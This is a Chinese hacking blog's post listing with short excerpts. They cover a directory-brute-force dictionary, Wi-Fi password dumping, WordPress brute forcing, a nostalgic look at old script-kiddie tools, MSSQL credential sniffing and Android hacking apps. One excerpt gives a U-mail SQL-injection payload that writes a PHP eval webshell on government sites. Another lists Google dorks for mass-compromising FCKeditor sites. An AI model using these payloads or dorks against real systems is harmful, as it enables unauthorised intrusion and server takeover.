HACK--逍遥散人

2018年8月24日

摘要：御剑珍藏55w目录字典，很给力，放在以前直接数据库都能给跑出来。用法：直接把放入配置文件的目录链接：https://pan.baidu.com/s/1MGxdd9hH006Y7AO7CpkO8g 密码：zf6m 阅读全文

posted @ 2018-08-24 22:17 HACK--逍遥散人阅读(6350) 评论(3) 推荐(1)

摘要：首先[win+r]快捷键打开运行，输入cmd。或点击左下角win-运行-cmd *命令中wlan就是网卡 *AP就是无线网可配合for循环遍历获取所有连接过的wifi密码阅读全文

posted @ 2018-08-24 22:14 HACK--逍遥散人阅读(817) 评论(0) 推荐(0)

摘要： win7 单击右下角无线网图标，选择已连接的无线网右击无线网名称，选择属性点击标题栏的安全，再点击显示字符，即可显示wifi密码明文 win10 控制面板[查看方式选类别]-查看网络状态和任务点击连接：无线网名称选择无线属性转到标题栏的安全，显示字符，即可显示wifi密码的明文阅读全文

posted @ 2018-08-24 22:11 HACK--逍遥散人阅读(593) 评论(0) 推荐(0)

2016年10月1日

Wordpress综合检测和爆破工具

摘要： WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统（CMS）来使用。WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开阅读全文

posted @ 2016-10-01 21:12 HACK--逍遥散人阅读(1618) 评论(0) 推荐(0)

那些年我们一起追逐过的安全工具

摘要：前言每一段岁月，都会留下属于时代的记忆——那些年，我们所追逐与热衷的安全工具，亦是如此。在那个信息不对称的年代，安全工具主要是在小圈子内传播。当年天真的我们（脚本小子），以为网络就是江湖，一套完美的工具就是你的兵器——路见不平一声吼，碰到注入亮阿D。注：由于年代久远，当年的工具大多已停止更新，阅读全文

posted @ 2016-10-01 21:11 HACK--逍遥散人阅读(983) 评论(0) 推荐(0)

大部分政府网站U-mail存在直接拿shell漏洞

摘要：大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd=333&DomainID=111直接爆出物理地址然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,1 阅读全文

posted @ 2016-10-01 21:09 HACK--逍遥散人阅读(2434) 评论(0) 推荐(0)

无需密码攻击 Microsoft SQL Server

摘要：最近的一次渗透测试里，在我们捕获的一些数据包中发现了一些未经加密的 Microsoft SQL Server(MSSQL) 流量。起初，我们认为这样就可以直接嗅探到认证凭证，然而，MSSQL 加密了认证的流量，这就意味着我们需要先解密才能获取到认证凭证。如果安装的是一个自签名证书，就很容易进行破解。阅读全文

posted @ 2016-10-01 21:07 HACK--逍遥散人阅读(575) 评论(0) 推荐(0)

越南FCK批量拿站

摘要：关键词:inurl:detail_product.asp?lang=/FCKeditor/_samples/asp/sample01.asp/FCKeditor/_samples/asp/sample02.asp/FCKeditor/_samples/asp/sample03.asp/FCKedit 阅读全文

posted @ 2016-10-01 21:06 HACK--逍遥散人阅读(912) 评论(0) 推荐(0)

2016 黑客必备的Android应用都有哪些？

摘要：免责声明：本站所发布的此份清单仅供学习之用。我们不支持读者利用其中的任何工具进行任何不道德的恶意攻击行为。根据业界的一系列评测以及亲身经验，我们整理出了这份最佳Android黑客应用清单。除了对应用本身的说明之外，还将提供与之相关的网站以及下载链接，从而帮助大家立即安装尝试。 AndroRAT A 阅读全文

posted @ 2016-10-01 21:05 HACK--逍遥散人阅读(4079) 评论(0) 推荐(1)

HACK--荒原狼

公告